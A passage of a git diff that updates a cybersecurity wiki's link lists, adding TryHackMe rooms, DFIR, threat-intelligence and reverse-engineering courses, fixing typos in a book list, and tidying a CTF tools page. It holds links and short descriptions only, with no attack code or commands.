endcontent-ref %} + +{% content-ref url="security-logging/" %} +[security-logging](security-logging/) +{% endcontent-ref %} + +## DFIR Practitioner + +Use these pages for live response, forensic triage, event logs, memory forensics, malware analysis, and evidence handling. + +{% content-ref url="dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} + +{% content-ref url="dfir-digital-forensics-and-incident-response/windows-dfir-checks.md" %} +[windows-dfir-checks.md](dfir-digital-forensics-and-incident-response/windows-dfir-checks.md) +{% endcontent-ref %} + +{% content-ref url="dfir-digital-forensics-and-incident-response/memory-forensics/" %} +[memory-forensics](dfir-digital-forensics-and-incident-response/memory-forensics/) +{% endcontent-ref %} + +## Cyber Threat Intelligence / OSINT + +Use these pages for threat data, indicators, enrichment, source evaluation, domain and IP investigation, usernames, email, social media, and public records. + +{% content-ref url="cyber-intelligence/" %} +[cyber-intelligence](cyber-intelligence/) +{% endcontent-ref %} + +{% content-ref url="cyber-intelligence/osint/" %} +[osint](cyber-intelligence/osint/) +{% endcontent-ref %} + +{% content-ref url="cyber-intelligence/threat-data.md" %} +[threat-data.md](cyber-intelligence/threat-data.md) +{% endcontent-ref %} + +## Pentester / Red Team + +Use these pages for authorized offensive operations, active reconnaissance, exploitation, post-exploitation, lateral movement, password attacks, and red/purple team exercises. + +{% content-ref url="red-offensive/" %} +[red-offensive](red-offensive/) +{% endcontent-ref %} + +{% content-ref url="red-offensive/scanning-active-recon/" %} +[scanning-active-recon](red-offensive/scanning-active-recon/) +{% endcontent-ref %} + +{% content-ref url="red-offensive/exploitation-and-targets/" %} +[exploitation-and-targets](red-offensive/exploitation-and-targets/) +{% endcontent-ref %} + +## AppSec / Web Testing + +Use these pages for web application testing methodology, Burp Suite, OAuth, API security, TLS, WAF testing, SQL injection, XSS, CSRF, XXE, and other web vulnerabilities. + +{% content-ref url="web-app-hacking/" %} +[web-app-hacking](web-app-hacking/) +{% endcontent-ref %} + +{% content-ref url="web-app-hacking/burp-suite.md" %} +[burp-suite.md](web-app-hacking/burp-suite.md) +{% endcontent-ref %} + +{% content-ref url="web-app-hacking/attacks-and-vulnerabilities/" %} +[attacks-and-vulnerabilities](web-app-hacking/attacks-and-vulnerabilities/) +{% endcontent-ref %} + +## Cloud / Containers / Platform Security + +Use these pages for AWS, Azure, Google Cloud, Microsoft 365, Docker, Kubernetes, image scanning, runtime security, and cloud or container logging. + +{% content-ref url="cloud.md" %} +[cloud.md](cloud.md) +{% endcontent-ref %} + +{% content-ref url="containers.md" %} +[containers.md](containers.md) +{% endcontent-ref %} + +{% content-ref url="security-logging/logging-cloud.md" %} +[logging-cloud.md](security-logging/logging-cloud.md) +{% endcontent-ref %} + +## Privacy / Tor / OPSEC + +Use this section for personal privacy, Tor fundamentals, PGP, secure communication, and operational safety. The Jolly Roger page is preserved as a historical archive. + +{% content-ref url="grey-privacy-tor-opsec/" %} +[grey-privacy-tor-opsec](grey-privacy-tor-opsec/) +{% endcontent-ref %} diff --git a/training/README.md b/training/README.md index 0f82e22..8c96503 100644 --- a/training/README.md +++ b/training/README.md @@ -1,3 +1,7 @@ +--- +description: Cyber security training resources, courses, certifications, books, labs, CTF practice, TryHackMe rooms, and Awesome lists. +--- + # Training and Resources ## **Beginner Training** @@ -8,7 +12,7 @@ * [https://www.cyberaces.org/courses.html](https://www.cyberaces.org/courses.html) - Free SANS intro to security course. * [EC Council Essential's Series](https://codered.eccouncil.org/essentials-series-bundle/) - The Essential Series includes three courses, each covering essential skills in [Network Defense](https://codered.eccouncil.org/essentials-series-bundle/#network-defense-essentials), [Ethical Hacking](https://codered.eccouncil.org/essentials-series-bundle/#ethical-hacking-essentials), and [Digital Forensics](https://codered.eccouncil.org/essentials-series-bundle/#digital-forensics-essentials). This introductory course series is designed for today's entry-level careers in information security, network defense, and digital forensics and is ideal for learners aspiring to pursue a career in cybersecurity. * [Cisco Networking Academy: Intro to Cyber Security](https://www.netacad.com/portal/web/self-enroll/c/course-1003729) - Learn how to protect your personal data and privacy online and in social media, and why more and more IT jobs require cybersecurity awareness and understanding. Receive a certificate of completion. -* [Cisco Netwoking Academy: Cyber Security Essentials](https://www.netacad.com/portal/web/self-enroll/c/course-1003733) - Foundational knowledge and essential skills for all cybersecurity domains, including info security, systems sec, network sec, ethics and laws, and defense and mitigation techniques used in protecting businesses. +* [Cisco Networking Academy: Cyber Security Essentials](https://www.netacad.com/portal/web/self-enroll/c/course-1003733) - Foundational knowledge and essential skills for all cybersecurity domains, including info security, systems sec, network sec, ethics and laws, and defense and mitigation techniques used in protecting businesses. * [https://www.hoppersroppers.org/training.html](https://www.hoppersroppers.org/training.html) - The training portion of the site is designed to teach core competencies and more importantly, provide a wide base of knowledge on how to find and use the resources available. * [MICS - Introduction to Cyber Security](https://www.mosse-institute.com/certifications/mics-introduction-to-cyber-security.html) - MICS teaches entry-level cyber security skills in domains such as open-source intelligence, security tools, operational security, network reconnaissance and threat hunting. Students who have successfully achieved their MICS Certification from MCSI can apply for winter/summer internships worldwide with the confidence that they have the competencies the industry is seeking. * [Cybersecurity 101: The Fundamentals of Cybersecurity by Crowdstrike.](https://www.crowdstrike.com/cybersecurity-101/) @@ -80,7 +84,7 @@ This goes perfectly between Career resources and Training material as cyber cert * [https://academy.attackiq.com/](https://academy.attackiq.com/) - Free courses taught by cybersecurity practitioners at the cutting edge of the field, students gain realistic, hands-on experience in building a threat-informed defense to improve cybersecurity effectiveness. * [https://opensecuritytraining.info/](https://opensecuritytraining.info/) - Open source platform that provides crowd sources free training on various cyber topics. * [https://www.thecybermentor.com/](https://www.thecybermentor.com/) - The platform of the Cyber Mentor. This site offers both free and premium training material and even their own practical penetration testing certification. -* [https://www.udemy.com/](https://www.udemy.com/) - Video learning platform with thousands of courses on various topics. Look for the security related topics and sort bby popularity. +* [https://www.udemy.com/](https://www.udemy.com/) - Video learning platform with thousands of courses on various topics. Look for security-related topics and sort by popularity. * [https://www.pythonstacks.com/blog/post/ethical-hacking-courses-udemy/](https://www.pythonstacks.com/blog/post/ethical-hacking-courses-udemy/) * [https://my.ine.com/](https://my.ine.com/) - The official training platform for [https://elearnsecurity.com/](https://elearnsecurity.com/) and their collection of certifications. * [https://www.cybrary.it/](https://www.cybrary.it/) - Cybrary is the fastest growing, fastest-moving catalog in the industry. By working with an elite community of instructors, experts, and thought leaders, as well as cutting edge hands-on learning providers, we deliver relevant and high-quality content that is accessible anytime, anywhere. @@ -103,7 +107,7 @@ This goes perfectly between Career resources and Training material as cyber cert ### Practical Hands-on and CTFs -These sections have guides on how to practice your offensive an defensive skills in either a hosted CTF/CTF style platform, or even how to build everythingyou need in a local environment. +These sections have guides on how to practice offensive and defensive skills in hosted CTF/CTF-style platforms or by building a local environment. {% content-ref url="practice-lab.md" %} [practice-lab.md](practice-lab.md) @@ -115,15 +119,46 @@ These sections have guides on how to practice your offensive an defensive skills ## **Blue Team Training** -* [Blue Team Labs Online » SECURITY BLUE TEAM](https://securityblue.team/blue-team-labs-online/) - A new CTF style learning platform focused on blue teaming. They offer certification tracks for thier platform and are adding more content daily. +* [Blue Team Labs Online](https://blueteamlabs.online/) - A practical, scenario-based training platform focused on security operations, incident response, and digital forensics. + * [Security Blue Team: Blue Team Labs Online](https://securityblue.team/blue-team-labs-online/) - Certification-oriented blue-team lab track from Security Blue Team. * [Blue Team Training Toolkit (BT3) - Defensive Security Training Software](https://www.bt3.no/) - Blue Team Training Toolkit (BT3) is software for defensive security training, which will bring your network analysis training sessions, incident response drills and red team engagements to a new level. * [OpenSOC - Network Defense Simulation](https://opensoc.io/) - OpenSOC is a free blue team defensive competition that is as close to "the real thing" as it gets. * [https://cyberdefenders.org/](https://cyberdefenders.org/) - CyberDefenders is a training platform focused on the defensive side of cybersecurity, aiming to provide a place for blue teams to practice, validate the skills they have, and acquire the ones they need. * [TryHackMe](https://tryhackme.com/) - Bite sized gamified lessons on various offensive and defensive topics. + * [TryHackMe | MITRE Room](https://tryhackme.com/room/mitre) + * [TryHackMe | Security Operations and Monitoring](https://tryhackme.com/r/path/outline/security-operations-monitoring) * [TryhackMe | Blue Team Path](https://tryhackme.com/path/outline/blueteam) * [TryHackMe | Splunk](https://tryhackme.com/room/bpsplunk) + * [TryHackMe | TShark](https://tryhackme.com/room/tshark) + * [TryHackMe | CC Stego](https://tryhackme.com/room/ccstego) * [Applied Network Defense](https://www.networkdefense.io/library/) - Fantastic sets of courses by some of the best defenders in the industry. * [https://letsdefend.io/](https://letsdefend.io/) - Practical Blue team training. +* [Boss of the SOC (BOTS)](https://github.com/splunk/security-content) - Splunk's public security datasets and CTF-style material for practicing investigations in Splunk. +* [Hack The Box Academy: Introduction to Network Traffic Analysis](https://academy.hackthebox.com/course/preview/intro-to-network-traffic-analysis) - Packet analysis training. +* [Antisyphon: Getting Started with Packet Decoding](https://www.antisyphontraining.com/getting-started-with-packet-decoding-w-chris-brenton/) - Packet decoding training with Chris Brenton. +* [Katie Nickels's Cyber Threat Intelligence Self-Study Plan](https://medium.com/katies-five-cents/a-cyber-threat-intelligence-self-study-plan-part-1-968b5a8daf9a) - Self-study plan for building CTI fundamentals. +* [MITRE ATT&CK CTI Training](https://attack.mitre.org/resources/training/cti/) - Training on applying ATT&CK to cyber threat intelligence. +* [AttackIQ Academy: Introduction to the EASY Framework](https://academy.attackiq.com/courses/introduction-to-the-easy-framework) - Threat intelligence workflow course. +* [SANS FOR578: Cyber Threat Intelligence](https://www.sans.org/cyber-security-courses/cyber-threat-intelligence/) - Professional CTI course. +* [ThreatConnect University](https://training.threatconnect.com/) - ThreatConnect platform and CTI training. +* [Recorded Future Training](https://www.recordedfuture.com/training) - Threat intelligence analyst training. +* [FIRST CTI SIG Resources](https://www.first.org/global/sigs/cti/) - CTI presentations, community materials, and best practices. +* [APTnotes](https://github.com/aptnotes/data) - Public threat intelligence reports for study and analysis practice. +* [Cyber Institute OSINT Challenge](https://courses.thecyberinst.org/courses/osint-challenge) - OSINT practice course. +* [Cyber Institute OSINT Mini](https://courses.thecyberinst.org/courses/osintmini) - Short OSINT training course. +* [Trace Labs Search Party](https://www.tracelabs.org/initiatives/search-party) - Volunteer OSINT event focused on missing persons. +* [Exposing the Invisible Kit](https://kit.exposingtheinvisible.org/en/) - Investigation and verification training. +* [Advocacy Assembly Courses](https://advocacyassembly.org/en/courses/) - Digital research and safety courses. +* [CyberDefenders Intel101](https://cyberdefenders.org/labs/38) - Introductory CTI/OSINT lab. +* [TryHackMe | OhSINT](https://tryhackme.com/room/ohsint) +* [TryHackMe | Sakura Room](https://tryhackme.com/room/sakura) +* [TryHackMe | Searchlight OSINT](https://tryhackme.com/room/searchlightosint) +* [TryHackMe | Google Dorking](https://tryhackme.com/room/googledorking) +* [TryHackMe | Shodan](https://tryhackme.com/room/shodan) +* [TryHackMe | Geolocating Images](https://tryhackme.com/room/geolocatingimages) +* [TryHackMe | WebOSINT](https://tryhackme.com/room/webosint) +* [GeoGuessr](https://www.geoguessr.com/) - Geolocation practice. +* [Hacktoria](https://hacktoria.com/) - OSINT-style investigation games. * [How to start RE/malware analysis](https://hshrzd.wordpress.com/how-to-start/) - Amazing free class on getting started in Reverse Engineering and Malware Analysis. * [https://phishing.livingsecurity.com/](https://phishing.livingsecurity.com/) - Training for analyzing phishing emails and their indicators. * [CNIT 129S: Securing Web Applications](https://samsclass.info/129S/129S\_F16.shtml) @@ -131,13 +166,36 @@ These sections have guides on how to practice your offensive an defensive skills ### DFIR Training +* [DFIR Training](https://www.dfir.training/) - Tools, resources, and training references for DFIR professionals. +* [DFIR Madness](https://dfirmadness.com/) - DFIR practice scenarios and training use cases. +* [Incident Response Challenge](https://incident-response-challenge.com/?utm_source=thn) - IR CTF-style training scenarios. +* [SANS FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics](https://www.sans.org/cyber-security-courses/advanced-incident-response-threat-hunting-training/) - Professional DFIR course. +* [SANS SIFT Workstation YouTube Series](https://www.youtube.com/playlist?list=PL60DFAE759FCDF36A) +* [Autopsy Training](https://dfir-training.basistech.com/) +* [TryHackMe | Windows Forensics 1](https://tryhackme.com/room/windowsforensics1) +* [TryHackMe | Autopsy](https://tryhackme.com/room/autopsy2ze0) +* [TryHackMe | Malware Researching](https://tryhackme.com/room/malresearching) +* [MemLabs](https://github.com/stuxnet999/MemLabs) - CTF-style memory forensics labs. +* [RPISEC Malware Analysis](https://class.malware.re/) - Malware analysis and reverse engineering course. +* [Malware Unicorn Workshops](https://malwareunicorn.org/#/) - Malware analysis and reverse engineering training. +* [Max Kersten Binary Analysis Course](https://maxkersten.nl/binary-analysis-course/) +* [Reverse Engineering for Beginners](https://www.begin.re/) +* [Understanding Assembly Language](https://beginners.re/main.html) +* [MyTechnoTalent Reverse Engineering Tutorial](https://github.com/mytechnotalent/Reverse-Engineering) - Free reverse engineering tutorial covering x86, x64, ARM, and ARM64. +* [Fumik0 Malware Analysis Tutorials](https://fumalwareanalysis.blogspot.com/p/malware-analysis-tutorials-reverse.html) +* [TryHackMe | Intro to x86-64](https://tryhackme.com/room/introtox8664) +* [TryHackMe | Basic Malware RE](https://tryhackme.com/room/basicmalwarere) +* [TryHackMe | Reverse Engineering](https://tryhackme.com/room/reverseengineering) +* [TryHackMe | Radare2](https://tryhackme.com/room/ccradare2) +* [TryHackMe | Ghidra](https://tryhackme.com/room/ccghidra) +* [InfoSec Institute Malware Analysis and Reverse Engineering](https://www.infosecinstitute.com/skills/learning-paths/malware-analysis-reverse-engineering/) * [Introduction to windows forensics Youtube Series](https://www.youtube.com/playlist?list=PLlv3b9B16ZadqDQH0lTRO4kqn2P1g9Mve) * [https://www.amanhardikar.com/mindmaps/ForensicChallenges.html](https://www.amanhardikar.com/mindmaps/ForensicChallenges.html) * [https://dfrws.org/forensic-challenges/](https://dfrws.org/forensic-challenges/) * [https://cyberdefenders.org/labs/71](https://cyberdefenders.org/labs/71) * [https://cfreds.nist.gov/](https://cfreds.nist.gov/) * [https://securitytrainings.net/security-trainings/](https://securitytrainings.net/security-trainings/) -* [Hackersploit's Malware Analaysis Bootcamp](https://hackersploit.org/malware-analysis-tutorials/) +* [Hackersploit's Malware Analysis Bootcamp](https://hackersploit.org/malware-analysis-tutorials/) * [Digital Forensics Beginner to Expert - Google class by Shannon Brazil](https://classroom.google.com/c/NDQ0MTUzMjU5NzE0) * [https://training.xintra.org/](https://training.xintra.org/) @@ -145,6 +203,26 @@ These sections have guides on how to practice your offensive an defensive skills * [TryHackMe](https://tryhackme.com/) - Bite sized gamified lessons on various offensive and defensive topics. * [https://tryhackme.com/resources/blog/going-from-zero-to-hero](https://tryhackme.com/resources/blog/going-from-zero-to-hero) + * [TryHackMe | Passive Reconnaissance](https://tryhackme.com/room/passiverecon) + * [TryHackMe | Red Team Recon](https://tryhackme.com/room/redteamrecon) + * [TryHackMe | Active Reconnaissance](https://tryhackme.com/room/activerecon) + * [TryHackMe | Nmap](https://tryhackme.com/room/nmap01) + * [TryHackMe | Further Nmap](https://tryhackme.com/room/furthernmap) + * [TryHackMe | RustScan](https://tryhackme.com/room/rustscan) + * [TryHackMe | OpenVAS](https://tryhackme.com/room/openvas) + * [TryHackMe | Sublist3r](https://tryhackme.com/room/rpsublist3r) + * [TryHackMe | Attacktive Directory](https://tryhackme.com/room/attacktivedirectory) + * [TryHackMe | AttackerKB](https://tryhackme.com/room/attackerkb) + * [TryHackMe | Metasploit Introduction](https://tryhackme.com/room/metasploitintro) + * [TryHackMe | Metasploit](https://tryhackme.com/room/rpmetasploit) + * [TryHackMe | PowerShell Empire](https://tryhackme.com/room/rppsempire) + * [TryHackMe | John the Ripper](https://tryhackme.com/room/johntheripper0) + * [TryHackMe | Red Team Fundamentals Module](https://tryhackme.com/module/red-team-fundamentals) + * [TryHackMe | Red Team Fundamentals](https://tryhackme.com/room/redteamfundamentals) + * [TryHackMe | Red Team Engagements](https://tryhackme.com/room/redteamengagements) + * [TryHackMe | Tor for Beginners](https://tryhackme.com/room/torforbeginners) + * [TryHackMe | WiFi Hacking 101](https://tryhackme.com/room/wifihacking101) + * [TryHackMe | Printer Hacking 101](https://tryhackme.com/room/printerhacking101) * [Red Team Ops Course Overview — Zero-Point Security](https://www.zeropointsecurity.co.uk/red-team-ops) * [Metasploit Unleashed - Free Online Ethical Hacking Course](https://www.offensive-security.com/metasploit-unleashed/) * [Practical Ethical Hacking - The Complete Course | Udemy](https://www.udemy.com/course/practical-ethical-hacking/) @@ -159,12 +237,12 @@ These sections have guides on how to practice your offensive an defensive skills ### Web Application Testing Training * [All learning materials | Web Security Academy](https://portswigger.net/web-security/all-materials) - This platform has replaced the Web Application Hackers Handbook as the go to learning resource for web application knowledge. Huge list of attacks, resources, and documentation on how to exploit or defend them. There are also amazingly handy hands on labs that you can complete with the community version of Burp! +* [TryHackMe - Intro to Web Hacking](https://tryhackme.com/module/intro-to-web-hacking) * [Burp Suite Certified Practitioner ](https://portswigger.net/web-security/certification)- The official Burp Suite user certification from PortSwigger * [Bugcrowd University | Bugcrowd](https://www.bugcrowd.com/hackers/bugcrowd-university/) - Resources and training from one of the top Bug Bounty platforms on the market. * [Burp Suite: In Depth Survival Guide | Udemy](https://www.udemy.com/course/burp-suite-in-depth-survival-guide/) - Burp Suite is huge and complex. This course is a fantastic way to start making sense of all the utility in the tool -* [Web Application Penetration Testing Training Course | (ISC)²](https://www.isc2.org/Development/Express-Learning-Courses/Web-Application-Penetration-Testing) +* [Web Application Penetration Testing Training Course | ISC2](https://www.isc2.org/Development/Express-Learning-Courses/Web-Application-Penetration-Testing) * [Cyber Mentor's Intro to Bug Bounty](https://www.youtube.com/watch?v=24fHLWXGS-M) -* [https://www.isc2.org/Development/Express-Learning-Courses/Web-Application-Penetration-Testing](https://www.isc2.org/Development/Express-Learning-Courses/Web-Application-Penetration-Testing) * [https://www.hacksec.in/](https://www.hacksec.in/) * [crAPI](https://github.com/OWASP/crAPI) - **c**ompletely **r**idiculous **API** (crAPI) will help you to understand the ten most critical API security risks. crAPI is vulnerable by design, but you'll be able to safely run it to educate/train yourself. * [https://github.com/jassics/security-study-plan/blob/main/web-pentest-study-plan.md](https://github.com/jassics/security-study-plan/blob/main/web-pentest-study-plan.md) @@ -193,7 +271,7 @@ Check these every day for new tools and tactics for offensive and defensive secu ## **Workshops and Conventions** * [https://infosec-conferences.com/](https://infosec-conferences.com/) - List of all cons over the course of the year, world wide. -* [ConCollector](https://cc.thinkst.com/) - An awesome tool that allows you to parse content from thousands of secrity Cons. +* [ConCollector](https://cc.thinkst.com/) - Tool that parses content from thousands of security conference talks. * [https://wildwesthackinfest.com/training-schedule/](https://wildwesthackinfest.com/training-schedule/) - Keep an eye out for their Pay-What-You-Can SOC Core skills class. Absolute gold for everyone regardless of skill level. * Hacker Summer Camp * [DEF CON](https://defcon.org/) - The one, the only. The biggest hacker conference in the world. @@ -232,7 +310,6 @@ Check these every day for new tools and tactics for offensive and defensive secu * [https://book.hacktricks.xyz/](https://book.hacktricks.xyz/) * [http://0xc0ffee.io/blog/OSCP-Goldmine](http://0xc0ffee.io/blog/OSCP-Goldmine) -* [https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/](https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/) * [https://www.explainshell.com/](https://www.explainshell.com/) * [https://isc.sans.edu/links.html](https://isc.sans.edu/links.html) * [https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/](https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/) diff --git a/training/books-and-reading.md b/training/books-and-reading.md index 148cdc7..cc3a1ab 100644 --- a/training/books-and-reading.md +++ b/training/books-and-reading.md @@ -7,15 +7,15 @@ * [free-programming-books/free-programming-books.md at master · EbookFoundation/free-programming-books · GitHub](https://github.com/EbookFoundation/free-programming-books/blob/master/books/free-programming-books.md) * [Database of Free Online Computer Science and Programming Books, Textbooks, and Lecture Notes](https://www.freetechbooks.com/) * [O'Reilly Open Books Project](https://www.oreilly.com/openbook/) -* [https://docs.microsoft.com/en-us/archive/blogs/mssmallbiz/large-collection-of-free-microsoft-ebooks-for-you-including-sharepoint-visual-studio-windows-phone-windows-8-office-365-office-2010-sql-server-2012-azure-and-more](https://docs.microsoft.com/en-us/archive/blogs/mssmallbiz/large-collection-of-free-microsoft-ebooks-for-you-including-sharepoint-visual-studio-windows-phone-windows-8-office-365-office-2010-sql-server-2012-azure-and-more) -* [https://docs.microsoft.com/en-us/archive/blogs/mssmallbiz/another-large-collection-of-free-microsoft-ebooks-and-resource-kits-for-you-including-sharepoint-2013-office-2013-office-365-duet-2-0-azure-cloud-windows-phone-lync-dynamics-crm-and-more](https://docs.microsoft.com/en-us/archive/blogs/mssmallbiz/another-large-collection-of-free-microsoft-ebooks-and-resource-kits-for-you-including-sharepoint-2013-office-2013-office-365-duet-2-0-azure-cloud-windows-phone-lync-dynamics-crm-and-more) +* [https://learn.microsoft.com/en-us/archive/blogs/mssmallbiz/large-collection-of-free-microsoft-ebooks-for-you-including-sharepoint-visual-studio-windows-phone-windows-8-office-365-office-2010-sql-server-2012-azure-and-more](https://learn.microsoft.com/en-us/archive/blogs/mssmallbiz/large-collection-of-free-microsoft-ebooks-for-you-including-sharepoint-visual-studio-windows-phone-windows-8-office-365-office-2010-sql-server-2012-azure-and-more) +* [https://learn.microsoft.com/en-us/archive/blogs/mssmallbiz/another-large-collection-of-free-microsoft-ebooks-and-resource-kits-for-you-including-sharepoint-2013-office-2013-office-365-duet-2-0-azure-cloud-windows-phone-lync-dynamics-crm-and-more](https://learn.microsoft.com/en-us/archive/blogs/mssmallbiz/another-large-collection-of-free-microsoft-ebooks-and-resource-kits-for-you-including-sharepoint-2013-office-2013-office-365-duet-2-0-azure-cloud-windows-phone-lync-dynamics-crm-and-more) * [https://leanpub.com/](https://leanpub.com/) ## Essential Desk Reference * RTFM: Red Team Field Manual - Ben Clark * One of the few books that stay on my desk and never go back to the bookshelf. Absolute gold if you are like me and cannot remember every single command ever written. -* BFTM: Blue Team Field Manuel - Ben Clark +* BFTM: Blue Team Field Manual - Ben Clark * Counterpart to the RTFM, this book still provides great context for both offense and defense. * PTFM: Purple Team Field Manual - Tim Bryant * It is essential that attackers and defenders know each others methodology and how to counter it. This book helps put this into perspective. @@ -26,7 +26,7 @@ ## Blue Team/Security Analysis -* BFTM: Blue Team Field Manuel - Ben Clark +* BFTM: Blue Team Field Manual - Ben Clark * Counterpart to the RTFM, this book still provides great context for both offense and defense. * Blue Team Handbook: Incident Response Edition (BTHb: INRE)- Murdoch * Like the above but with more details on processes and documentation for proper incidence response. Must have for anyone in IR or defensive consulting roles. @@ -41,9 +41,9 @@ * Incredible resource for every step of collection, detection, and analysis. Absolutely essential for serious blueteamers. * [https://chrissanders.org/appliednsm/](https://chrissanders.org/appliednsm/) * Threat Hunting with Elastic Stack - Andrew Pease - * While the technical content is focused on Elastic Stack, it is chocked full of threat hunting theory. Well worth it even if you use a different SIEM. + * While the technical content is focused on Elastic Stack, it is full of threat hunting theory. Well worth it even if you use a different SIEM. * Defensive Security Handbook - Brotherston and Berlin - * Covers many tasks and operations needed to sucessfully run a SOC. Also covers many hardening topics for various network devices. + * Covers many tasks and operations needed to successfully run a SOC. Also covers many hardening topics for various network devices. * Security Engineering: A guide to building dependable distributed systems - Anderson * Third Edition - * The Art of Monitoring - J. Turnbull @@ -92,7 +92,7 @@ ## Web -* Web Application Hackers Handbook (Depreciated) - A great resource, but everything that is in it and more has been posted up with labs at [https://portswigger.net/web-security](https://portswigger.net/web-security) +* Web Application Hackers Handbook (deprecated) - A great historical resource, but PortSwigger Web Security Academy has replaced it for maintained labs and current web-app content: [https://portswigger.net/web-security](https://portswigger.net/web-security) * Operator Handbook - Netmux * Burp Suite Essentials - Mahajan * Browser Hackers Handbook - Alcorn @@ -101,13 +101,13 @@ ## Malware Analysis/Reverse Engineering * Reversing: Secrets of Reverse Engineering -* Hacker Dissasembling uncovered - Kaspersky +* Hacker Disassembling Uncovered - Kaspersky ## Social Engineering * Social Engineering - Hadnagy * Influence - Cialdini -* What everbody else is saying - Navarro +* What Everybody Is Saying - Navarro * Human Hacking - Hadnagy ## Windows @@ -119,7 +119,7 @@ * Linux Basics for Hackers * The Linux Command Line 2nd edition * Shellcoder's Handbook - Alcorn -* Violent Python +* Violent Python - TJ O'Connor * Blackhat Python ## Secure Coding/DevSecOps @@ -141,7 +141,7 @@ * Cult of the Dead Cow - Menn * Hackers - Levy * Kingpin - Paulsen -* Little BRother Doctorow +* Little Brother - Cory Doctorow * Playing to the Edge - Hayden * Spies among us - Winkler * Crash Override - Zoe Quinn @@ -163,6 +163,6 @@ By Heather Adkins, Betsy Beyer, Paul Blankinship, Ana Oprea, Piotr Lewandowski, Adam Stubblefield\ [https://landing.google.com/sre/books/](https://landing.google.com/sre/books/) 2. Security Engineering By Ross Anderson - A guide to building dependable distributed systems. (and Ross Anderson is brilliant //OP editorial) [https://www.cl.cam.ac.uk/\~rja14/book.html](https://www.cl.cam.ac.uk/\~rja14/book.html) -3. The Cyber Skill Gap By Vagner Nunes - The Cyber Skill Gap: How To Become A Highly Paid And Sought After Information Security Specialist! (Use COUPON CODE: W4VSPTW8G7 to make it free) [https://payhip.com/b/PdkW](https://payhip.com/b/PdkW) +3. The Cyber Skill Gap by Vagner Nunes - Older promo/coupon references may no longer be valid. [https://payhip.com/b/PdkW](https://payhip.com/b/PdkW) 4. The Beginner’s Guide to Information Security By Limor Elbaz - Offers insight and resources to help readers embark on a career in one of the 21st century’s most important—and potentially lucrative—fields. [https://www.amazon.com/Beginners-Guide-Information-Security-Kickstart-ebook/dp/B01JTDDSAM](https://www.amazon.com/Beginners-Guide-Information-Security-Kickstart-ebook/dp/B01JTDDSAM) 5. Texas A\&M Security Courses The web-based courses are designed to ensure that the privacy, reliability, and integrity of the information systems that power the global economy remain intact and secure. The web-based courses are offered through three discipline-specific tracks: general, non-technical computer users; technical IT professionals; and business managers and professionals. [https://teex.org/program/dhs-cybersecurity/](https://teex.org/program/dhs-cybersecurity/) diff --git a/training/ctf-practice.md b/training/ctf-practice.md index cd14414..ac07ca7 100644 --- a/training/ctf-practice.md +++ b/training/ctf-practice.md @@ -1,6 +1,6 @@ # CTF -Capture The Flag competitions and challenges are the fun part of being a hacker. There isnt any other feeling like compromising a box and getting your name on a score board. They are also a fantastic tool for honing your skills both offensively and defensively. +Capture The Flag competitions and challenges are the fun part of being a hacker. There is nothing quite like compromising a box and getting your name on a scoreboard. They are also a fantastic way to hone offensive and defensive skills in a legal environment. ## **CTF Resources** @@ -8,8 +8,8 @@ Capture The Flag competitions and challenges are the fun part of being a hacker. * [Tools and Resources to Prepare for a Hacker CTF Competition or Challenge](https://resources.infosecinstitute.com/tools-of-trade-and-resources-to-prepare-in-a-hacker-ctf-competition-or-challenge/) * [Shiva108's CTF Notes](https://github.com/Shiva108/CTF-notes) * [CTF Resources](http://ctfs.github.io/resources/) - This repository aims to be an archive of information, tools, and references regarding CTF competitions. -* [Rawsec](https://rawsec.ml/) - Guides and challange writeups -* [home - 0xRick](https://0xrick.github.io/) - One of the best set of challange write ups i have been able to find. Very detailed and easy to read. +* [Rawsec Inventory](https://inventory.raw.pm/) - Guides, tools, and challenge writeups. +* [home - 0xRick](https://0xrick.github.io/) - Detailed challenge writeups. * Bishop Fox Pocket CTF Guide - [https://know.bishopfox.com/hubfs/mkt-coll/Bishop-Fox-Breaking-and-Entering-Pocket-Guide.pdf](https://know.bishopfox.com/hubfs/mkt-coll/Bishop-Fox-Breaking-and-Entering-Pocket-Guide.pdf) * [https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/](https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/) * [https://cheatsheet.haax.fr/cryptography/rsa/](https://cheatsheet.haax.fr/cryptography/rsa/) @@ -21,35 +21,35 @@ Capture The Flag competitions and challenges are the fun part of being a hacker. * [ctf tools](https://github.com/zardus/ctf-tools) - This is a collection of setup scripts to create an install of various security research tool that are super valuable in CTF settings * [CTF.Party](https://noraj.github.io/ctf-party/#/) - A Ruby CLI tool & library to enhance and speed up script/exploit writing for CTF players. * [pwntools](https://github.com/Gallopsled/pwntools) - Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible. -* [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - RSA attack tool (mainly for ctf) - retreive private key from weak public key and/or uncipher data +* [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - RSA attack tool for CTFs; retrieves private keys from weak public keys and decrypts data. * [ShellPop](https://github.com/0x00-0x00/shellpop) - Shellpop is all about popping shells. With this tool you can generate easy and sophisticated reverse or bind shell commands to help you during penetration tests. * [Karkinos -](https://hakin9.org/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/) Karkinos is a light-weight 'Swiss Army Knife' for penetration testing and/or hacking CTF's. Currently, Karkinos offers the following: * Encoding/Decoding characters * Encrypting/Decrypting text or files * Reverse shell handling * Cracking and generating hashes -* [pyWhat](https://github.com/bee-san/pyWhat) - Command line to to identify...well anything. -* [https://github.com/hellman/xortool](https://github.com/hellman/xortoolhttps://github.com/tomchop/unxor) -* [https://github.com/tomchop/unxor](https://github.com/hellman/xortoolhttps://github.com/tomchop/unxor) +* [pyWhat](https://github.com/bee-san/pyWhat) - Command-line tool to identify files, hashes, tokens, and other strings. +* [xortool](https://github.com/hellman/xortool) +* [unxor](https://github.com/tomchop/unxor) ## CTF Events * [CTF Time Calendar](https://ctftime.org/calendar/) - Schedule of most of the major Cyber CTF events that are held throughout the year. * [NSA Codebreaker Challenge](https://codebreaker.ltsnet.net/challenge) - Super 